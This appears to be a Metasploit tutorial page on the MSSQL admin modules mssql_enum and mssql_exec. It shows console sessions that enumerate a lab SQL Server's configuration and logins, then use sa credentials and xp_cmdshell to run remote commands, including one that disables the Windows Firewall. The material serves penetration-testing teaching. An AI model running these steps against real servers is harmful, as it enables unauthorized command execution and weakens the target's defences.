

Admin MSSQL Auxiliary Modules a11y.text Admin MSSQL Auxiliary Modules mssql_enum a11y.text
mssql_enum The mssql_enum is an admin module that will accept a set of credentials and query a
MSSQL for various configuration settings. msf > use auxiliary/admin/mssql/mssql_enum
msf auxiliary(mssql_enum) > show options

Module options (auxiliary/admin/mssql/mssql_enum):

Name	Current Setting	Required	Description
----	-----	-----	-----
PASSWORD		no	The password for the specified username
RHOST		yes	The target address
RPORT	1433	yes	The target port (TCP)
TDSENCRYPTION	false	yes	Use TLS/SSL for TDS data "Force Encryption"
USERNAME	sa	no	The username to authenticate as
USE_WINDOWS_AUTHENT	false	yes	Use windows authentication (requires

DOMAIN option set) To configure the module, we accept the default username, set our
PASSWORD and RHOST, then let it run. msf auxiliary(mssql_enum) > set PASSWORD password1
PASSWORD => password1
msf auxiliary(mssql_enum) > set RHOST 192.168.1.195
RHOST => 192.168.1.195
msf auxiliary(mssql_enum) > run

[*] Running MS SQL Server Enumeration...

[*] Version:

[*] Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)

[*] Oct 14 2005 00:33:37

[*] Copyright (c) 1988-2005 Microsoft Corporation

[*] Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)

[*] Configuration Parameters:

[*] C2 Audit Mode is Not Enabled

[*] xp_cmdshell is Not Enabled

[*] remote access is Enabled

[*] allow updates is Not Enabled

[*] Database Mail XPs is Not Enabled

[*] Ole Automation Procedures are Not Enabled

[*] Databases on the server:

[*] Database name:master

[*] Database Files for master:

[*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\master.mdf

[*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\mastlog.ldf

[*] Database name:tempdb

[*] Database Files for tempdb:

[*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\tempdb.mdf

[*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\templog.ldf

[*] Database name:model

[*] Database Files for model:

[*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\model.mdf

[*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\modellog.ldf

[*] Database name:msdb

[*] Database Files for msdb:

[*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\MSDBData.mdf

[*] c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\MSDBLog.ldf

[*] System Logins on this Server:

[*] sa

[*] ##MS_SQLResourceSigningCertificate##

[*] ##MS_SQLReplicationSigningCertificate##

[*] ##MS_SQLAuthenticatorCertificate##

[*] ##MS_AgentSigningCertificate##

[*] BUILTIN\Administrators

[*] NT AUTHORITY\SYSTEM

[*] V-MAC-XP\SQLServer2005MSSQLUser\$V-MAC-XP\$SQLEXPRESS

[*] BUILTIN\Users

[*] Disabled Accounts:

[*] No Disabled Logins Found

[*] No Accounts Policy is set for:

[*] All System Accounts have the Windows Account Policy Applied to them.

[*] Password Expiration is not checked for:

[*] sa

[*] System Admin Logins on this Server:

[*] sa

[*] BUILTIN\Administrators

[*] NT AUTHORITY\SYSTEM

[*] V-MAC-XP\SQLServer2005MSSQLUser\$V-MAC-XP\$SQLEXPRESS

[*] Windows Logins on this Server:

[*] NT AUTHORITY\SYSTEM

[*] Windows Groups that can logins on this Server:

[*] BUILTIN\Administrators

[*] V-MAC-XP\SQLServer2005MSSQLUser\$V-MAC-XP\$SQLEXPRESS

[*] BUILTIN\Users

[*] Accounts with Username and Password being the same:

[*] No Account with its password being the same as its username was found.

[*] Accounts with empty password:

[*] No Accounts with empty passwords where found.

[*] Stored Procedures with Public Execute Permission found:

[*] sp_replsetsyncstatus

[*] sp_replcounters

[*] sp_replsendtoqueue

[*] sp_resyncexecutesql

[*] sp_prepexecrpc

[*] sp_repltrans

[*] sp_xml_preparedocument

[*] xp_qv

[*] xp_getnetname

[*] sp_releaseschemalock

[*] sp_refreshview

[*] sp_replcmds

[*] sp_unprepare

[*] sp_resyncprepare

[*] sp_createorphan

[*] xp_dirtree

[*] sp_replwritetovarbin

[*] sp_replsetoriginator

[*] sp_xml_removedocument

[*] sp_repldone

[*] sp_reset_connection

[*] xp_fileexist

[*] xp_fixeddrives

[*] sp_getschemalock

[*] sp_prepexec

[*] xp_revokelogin

[*] sp_resyncuniquetable

[*] sp_replflush

[*] sp_resyncexecute

[*] xp_grantlogin

[*] sp_droporphans

[*] xp_regread

[*] sp_getbindtoken

[*] sp_replincrementlsn

[*] Instances found on this server:

[*] SQLEXPRESS

[*] Default Server Instance SQL Server Service is running under the privilege of:

[*] xp_regread might be disabled in this system

[*] Auxiliary module execution completed

msf auxiliary(mssql_enum) > mssql_exec a11y.text mssql_exec The mssql_exec admin module takes advantage of the xp_cmdshell stored procedure to execute commands on the remote system.

If you have acquired or guessed MSSQL admin credentials, this can be a very useful module. msf >

use auxiliary/admin/mssql/mssql_exec

msf auxiliary(mssql_exec) > show options

Module options (auxiliary/admin/mssql/mssql_exec):

Name	Current Setting	Required	Description
----	-----	-----	-----
CMD	cmd.exe /c echo OWNED > C:\owned.exe	no	Command to execute
PASSWORD		no	The password for the specified username
RHOST		yes	The target address
RPORT	1433	yes	The target port (TCP)
TDSENCRYPTION	false	yes	Use TLS/SSL for TDS data "Force Encryption"
USERNAME	sa	no	The username to authenticate as
USE_WINDOWS_AUTHENT	false	yes	Use windows authentication

(requires DOMAIN option set) We set our RHOST and PASSWORD values and set the CMD to disable the Windows Firewall on the remote system. This can enable us to potentially exploit other services running on the target. msf auxiliary(mssql_exec) > set CMD netsh firewall set opmode disable

CMD => netsh firewall set opmode disable

msf auxiliary(mssql_exec) > set PASSWORD password1

PASSWORD => password1

msf auxiliary(mssql_exec) > set RHOST 192.168.1.195

RHOST => 192.168.1.195

msf auxiliary(mssql_exec) > run

[*] The server may have xp_cmdshell disabled, trying to enable it...

[*] SQL Query: EXEC master..xp_cmdshell 'netsh firewall set opmode disable'

output

Ok.

[*] Auxiliary module execution completed

msf auxiliary(mssql_exec) > [Next](#) [Admin](#) [Postgres](#) [Auxiliary](#) [Modules](#) [Prev](#) [Admin](#) [MySQL](#) [Auxiliary](#)
[Modules](#)